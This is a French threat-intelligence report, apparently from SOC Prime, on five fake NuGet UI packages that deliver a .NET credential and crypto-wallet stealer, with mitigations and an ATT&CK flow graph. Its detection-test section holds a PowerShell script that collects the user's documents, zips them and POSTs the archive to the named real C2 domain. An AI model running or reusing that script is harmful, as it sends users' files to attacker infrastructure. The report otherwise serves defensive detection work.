SOC Prime Bias: Critique

12 Mai 2026 18:21

Cinq faux paquets NuGet d’interface utilisateur livrent des voleurs de portefeuilles crypto et d’identifiants

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Cinq faux paquets NuGet d’interface utilisateur livrent des voleurs de portefeuilles crypto et d’identifiants
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Cinq paquets NuGet publiés sous le compte bmrxntfj imitent des bibliothèques UI .NET chinoises bien connues et intègrent un voleur d’informations protégé avec .NET Reactor. La charge utile malveillante s’active dès que la DLL est chargée, détourne le compilateur JIT et vole les identifiants du navigateur, les données des portefeuilles de cryptomonnaie, les clés SSH et les fichiers locaux avant de les exfiltrer vers un domaine de commandement et de contrôle nouvellement enregistré. Des changements de version fréquents et des listes de paquets cachés aident à éviter les détections simples basées sur les hachages, créant un risque pour les postes de travail des développeurs et les environnements CI/CD.

Investigation

Les chercheurs ont dépaqueté le malware protégé par .NET Reactor, identifié un assembly .NET de seconde étape nommé we4ftg.exe, et ont récupéré des chaînes de configuration de la mémoire. Leur analyse a montré quels navigateurs et quelles extensions de portefeuilles ont été ciblés, documenté un schéma d’en-tête HTTP personnalisé, et identifié un emplacement de mise en scène sous le répertoire OneDrive. L’enquête a également révélé des détails d’infrastructure, y compris le domaine de commandement et de contrôle, son adresse IP, et un serveur Git privé associé.

Atténuation

Les défenseurs devraient bloquer la résolution DNS et le trafic sortant vers le domaine et l’adresse IP de commandement et de contrôle identifiés, surveiller la création du fichier keys.dat dans le dossier OneDrive, et alerter sur l’en-tête HTTP personnalisé X-xxx . Tous les paquets IR.* devraient être retirés des arbres de dépendance et remplacés par des bibliothèques légitimes vérifiées. Tous les identifiants, jetons, et secrets potentiellement exposés devraient être immédiatement tournés.

Réponse

Tout système qui a restauré ou chargé l’un des paquets malveillants paquets IR.* devrait être traité comme compromis, isolé et soumis à une rotation complète des identifiants. Le contenu de la détection devrait être mis à jour avec les indicateurs publiés, et les équipes devraient se coordonner avec les administrateurs de la galerie NuGet pour s’assurer que les paquets malveillants sont retirés et le compte éditeur suspendu.

"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#ccffcc classDef operator fill:#ff9900 %% Nodes – Techniques tech_supply_chain["<b>Technique</b> – <b>T1195.002 Compromission de la chaîne d’approvisionnement</b><br/><b>Description</b>: Compromission d’une chaîne d’approvisionnement logicielle pour injecter du code malveillant dans des paquets légitimes."] class tech_supply_chain technique tech_appdomain_hijack["<b>Technique</b> – <b>T1574.014 Détournement du flux d’exécution : Gestionnaire d’AppDomain .NET</b><br/><b>Description</b>: Les adversaires détournent le .NET AppDomainManager pour exécuter du code avant que l’application prévue ne commence."] class tech_appdomain_hijack technique tech_obfuscation["<b>Technique</b> – <b>T1027 Fichiers ou informations obfusqués</b><br/><b>Description</b>: Utilisation d’emballage, de chiffrement ou d’autres méthodes pour masquer le code ou les données malveillants."] class tech_obfuscation technique tech_trusted_dev_proxy["<b>Technique</b> – <b>T1127 Exécution par proxy d’utilitaires de développeur de confiance</b><br/><b>Description</b>: Abus des utilitaires de développeur légitimes ou des gestionnaires de paquets pour exécuter du code malveillant."] class tech_trusted_dev_proxy technique tech_software_ext["<b>Technique</b> – <b>T1176 Extensions logicielles</b><br/><b>Description</b>: Exploitation d’extensions logicielles ou de plug-ins pour obtenir une exécution."] class tech_software_ext technique tech_process_discovery["<b>Technique</b> – <b>T1057 Découverte de processus</b><br/><b>Description</b>: Énumération des processus en cours d’exécution sur le système victime."] class tech_process_discovery technique tech_file_dir_discovery["<b>Technique</b> – <b>T1083 Découverte de fichiers et de répertoires</b><br/><b>Description</b>: Liste des fichiers et répertoires pour localiser des données précieuses."] class tech_file_dir_discovery technique tech_browser_info["<b>Technique</b> – <b>T1217 Découverte des informations du navigateur</b><br/><b>Description</b>: Rassemblement d’informations sur les navigateurs installés et les extensions."] class tech_browser_info technique tech_browser_credentials["<b>Technique</b> – <b>T1555.003 Identifiants des navigateurs Web</b><br/><b>Description</b>: Extraction de mots de passe enregistrés, de cookies et d’autres matériaux d’identification des navigateurs."] class tech_browser_credentials technique tech_private_keys["<b>Technique</b> – <b>T1552.004 Identifiants non sécurisés : Clés privées</b><br/><b>Description</b>: Localisation et exfiltration de clés SSH privées et d’autres clés cryptographiques."] class tech_private_keys technique tech_credentials_files["<b>Technique</b> – <b>T1552.001 Identifiants dans les fichiers</b><br/><b>Description</b>: Recherche de matériaux d’identification stockés dans les fichiers de configuration ou de données."] class tech_credentials_files technique tech_data_staged_local["<b>Technique</b> – <b>T1074.001 Données mises en scène : Local</b><br/><b>Description</b>: Les données collectées sont agrégées sur l’hôte local avant l’exfiltration."] class tech_data_staged_local technique tech_data_staged_remote["<b>Technique</b> – <b>T1074.002 Données mises en scène : À distance</b><br/><b>Description</b>: Les données sont mises en scène sur un emplacement distant tel que le stockage en nuage."] class tech_data_staged_remote technique tech_process_injection["<b>Technique</b> – <b>T1055.001 Injection de processus : Injection de bibliothèque de liens dynamiques</b><br/><b>Description</b>: Injection de DLL malveillantes dans des processus légitimes pour une exécution furtive."] class tech_process_injection technique tech_sandbox_evasion["<b>Technique</b> – <b>T1497.002 Évasion de la virtualisation/sandbox : Vérifications basées sur l’activité de l’utilisateur</b><br/><b>Description</b>: Détection des environnements sandbox en vérifiant les noms d’utilisateur ou les noms d’ordinateur connus."] class tech_sandbox_evasion technique tech_c2_web["<b>Technique</b> – <b>T1071.001 Protocole de couche application : Protocoles Web</b><br/><b>Description</b>: Utilisation de HTTP/S pour communiquer avec les serveurs de commandement et de contrôle."] class tech_c2_web technique tech_junk_data["<b>Technique</b> – <b>T1001.001 Obfuscation des données : Données inutiles</b><br/><b>Description</b>: Ajout de bruit aléatoire aux charges utiles réseau pour entraver la détection."] class tech_junk_data technique %% Nodes – Tools and Malware tool_nuget_pkg["<b>Outil</b> – <b>Nom</b>: Paquet NuGet malveillant IR.*<br/><b>Description</b>: Paquets publiés sur NuGet qui imitent des bibliothèques .NET chinoises légitimes et sont récupérés lors de la restauration."] class tool_nuget_pkg tool tool_dotnet_reactor["<b>Outil</b> – <b>Nom</b>: .NET Reactor (Necrobit)<br/><b>Description</b>: Emballe et chiffre des assemblages .NET, ajoute des signatures anti-altération RSA‑1024."] class tool_dotnet_reactor tool malware_payload["<b>Malware</b> – <b>Nom</b>: Charge utile .NET Reactor<br/><b>Description</b>: Assemblage .NET chiffré chargé par l’initialiseur AppDomainManager."] class malware_payload malware tool_sharpinjector["<b>Outil</b> – <b>Nom</b>: SharpInjector<br/><b>Description</b>: Injecteur .NET qui effectue l’injection de DLL dans des processus de longue durée tels qu’explorer.exe."] class tool_sharpinjector tool process_explorer["<b>Processus</b> – <b>Nom</b>: explorer.exe"] class process_explorer process process_dllhost["<b>Processus</b> – <b>Nom</b>: dllhost.exe"] class process_dllhost process data_staged_file["<b>Données</b> – <b>Chemin</b>: C:ProgramDataMicrosoft OneDrivekeys.dat"] class data_staged_file data %% Flow Connections tech_supply_chain –>|livre| tool_nuget_pkg tool_nuget_pkg –>|déclenche| tech_appdomain_hijack tech_appdomain_hijack –>|charge| malware_payload malware_payload –>|emballé par| tool_dotnet_reactor tool_dotnet_reactor –>|active| tech_obfuscation tech_obfuscation –>|facilite| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|utilise| tech_software_ext tech_software_ext –>|active| tech_process_discovery tech_process_discovery –>|conduit à| tech_file_dir_discovery tech_file_dir_discovery –>|conduit à| tech_browser_info tech_browser_info –>|active| tech_browser_credentials tech_browser_credentials –>|collecte| tech_private_keys tech_private_keys –>|collecte| tech_credentials_files tech_credentials_files –>|prête| tech_data_staged_local tech_data_staged_local –>|écrit dans| data_staged_file data_staged_file –>|synchronise avec| tech_data_staged_remote tech_data_staged_remote –>|utilise| tool_sharpinjector tool_sharpinjector –>|injecte dans| process_explorer tool_sharpinjector –>|injecte dans| process_dllhost process_explorer –>|soutient| tech_process_injection process_dllhost –>|soutient| tech_process_injection tech_process_injection –>|vérifie pour| tech_sandbox_evasion tech_sandbox_evasion –>|permet| tech_c2_web tech_c2_web –>|transmet avec| tech_junk_data %% Class Assignments class tech_supply_chain,tech_appdomain_hijack,tech_obfuscation,tech_trusted_dev_proxy,tech_software_ext,tech_process_discovery,tech_file_dir_discovery,tech_browser_info,tech_browser_credentials,tech_private_keys,tech_credentials_files,tech_data_staged_local,tech_data_staged_remote,tech_process_injection,tech_sandbox_evasion,tech_c2_web,tech_junk_data technique class tool_nuget_pkg,tool_dotnet_reactor,tool_sharpinjector tool class malware_payload malware class process_explorer,process_dllhost process class data_staged_file data "

Flux d’attaque

Exécution de simulation

Prérequis : La vérification préliminaire de télémétrie et de base doit avoir franchi.

Justification : Cette section détaille l’exécution précise de la technique des adversaires (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie attendue par la logique de détection. Les exemples abstraits ou non liés entraîneront un mauvais diagnostic.

  • Narrative & Commandes d’Attaque :
    Un adversaire a compromis un paquet NuGet légitime qui, lorsqu’il est importé dans une application .NET victime, initie une charge utile PowerShell. La charge utile effectue les étapes suivantes :

    1. Découverte (T1082, T1083) : Rassembler la version du système d’exploitation et énumérer les documents de l’utilisateur.
    2. Collecte d’identifiants (T1552.001) : Lire les identifiants stockés dans le registre.
    3. Archivage (T1560): Compresser les fichiers récoltés dans une archive ZIP.
    4. Obfuscation de l’en-tête (T1027) : Ajouter un en-tête HTTP personnalisé X-Auth-Token: <chaîne‑aléatoire> pour déguiser le trafic d’exfiltration.
    5. Exfiltration C2 (T1071.001, T1005, T1195.002) : POST de l’archive au serveur C2 malveillant à dns-providersa2.com (ou son IP codée en dur 62.84.102.85).

    L’utilisation de X- l’en-tête satisfait directement la clause de la règle Sigma http.request.header|contains: "X-" tandis que la destination correspond à l’IoC statique.

  • Script de test de régression :

    # -----------------------------------------------------------------
    # Test de Régression – Déclencher la règle Sigma “Communication C2 Malveillante”
    # -----------------------------------------------------------------
    # 1. Collecter les infos système (T1082)
    $sysInfo = Get-ComputerInfo | Select-Object OSName, OSVersion, WindowsDirectory
    
    # 2. Énumérer les documents de l'utilisateur (T1083)
    $docs = Get-ChildItem "$env:USERPROFILEDocuments" -Recurse -File -ErrorAction SilentlyContinue
    
    # 3. Lire un identifiant d'exemple du registre (T1552.001)
    $credPath = "HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU"
    $storedCred = (Get-ItemProperty -Path $credPath).MRUList | Out-String
    
    # 4. Emballer les données (T1560)
    $tempZip = "$env:TEMPexfil_$(Get-Random).zip"
    $items = @($sysInfo, $docs, $storedCred)
    Compress-Archive -Path $items -DestinationPath $tempZip -Force
    
    # 5. Préparer un en-tête HTTP personnalisé (obfuscation – T1027)
    $authToken = "X-Auth-Token: $([guid]::NewGuid().ToString())"
    
    # 6. Exfiltrer via HTTP POST vers le site C2 malveillant (T1071.001)
    $c2 = "http://dns-providersa2.com/upload"
    Invoke-WebRequest -Uri $c2 `
                      -Method Post `
                      -InFile $tempZip `
                      -ContentType "application/octet-stream" `
                      -Headers @{'X-Auth-Token' = $authToken}
    
    # 7. Nettoyer l'artéfact local
    Remove-Item $tempZip -Force
  • Commandes de Nettoyage :

    # Supprimer tous les fichiers temporaires qui pourraient rester du test
    Get-ChildItem "$env:TEMPexfil_*.zip" -ErrorAction SilentlyContinue | Remove-Item -Force
    
    # Réinitialiser la taille du log de pare-feu (optionnel)
    netsh advfirewall set allprofiles logging maxfilesize 4096